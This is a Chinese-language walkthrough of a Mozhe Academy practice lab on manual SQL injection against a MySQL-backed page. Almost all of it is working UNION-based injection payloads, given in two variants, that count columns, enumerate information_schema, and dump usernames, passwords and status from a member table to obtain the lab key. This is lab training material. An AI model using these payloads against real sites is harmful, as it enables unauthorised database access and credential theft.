墨者学院 - SQL手工注入漏洞测试(MySQL数据库)

查询是否存在漏洞
and 1=1 页面正常
and 1=2 页面报错。说明存在sql注入漏洞
order by 4 通过order by查询到注入界面返回的数据列数为4
and 1=2 union select 1,2,3,4 第2列是标题,3是内容
and 1=2 union select 1,version(),database(),4 得到当前正在使用数据库和操作系统
and 1=2 union select 1,table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 获取当前的数据库
and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name='StormGroup_member' limit 0,1 获取当前数据库的字段
and 1=2 union select 1,name,password,4 from StormGroup_member limit 0,1(然后1,1 2,2 3,3以此类推dump出所以数据)
status列依然如此即可,拿到status为1的账号密码登录即可
最后查出共有一个用户mozhe,对应两个密码,其中第二个可用。使用第二个密码登录后获得key

第二种方法
order by 确定 字段数为4

and 1=2 union select 1,2,3,4 发现2在原文Title处,3在content处

and 1=2 union select 1,version(),database(),4 爆库得到

and 1=2 union select 1,version(),(select group_concat(table_name)from information_schema.tables where table_schema=database()),4爆表得到

and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' 爆字段

and 1=2 union select 1,group_concat(name,0x5f,password,0x5f, status),3,4 from StormGroup_member 爆用户名密码

你可能感兴趣的:(墨者学院 - SQL手工注入漏洞测试(MySQL数据库))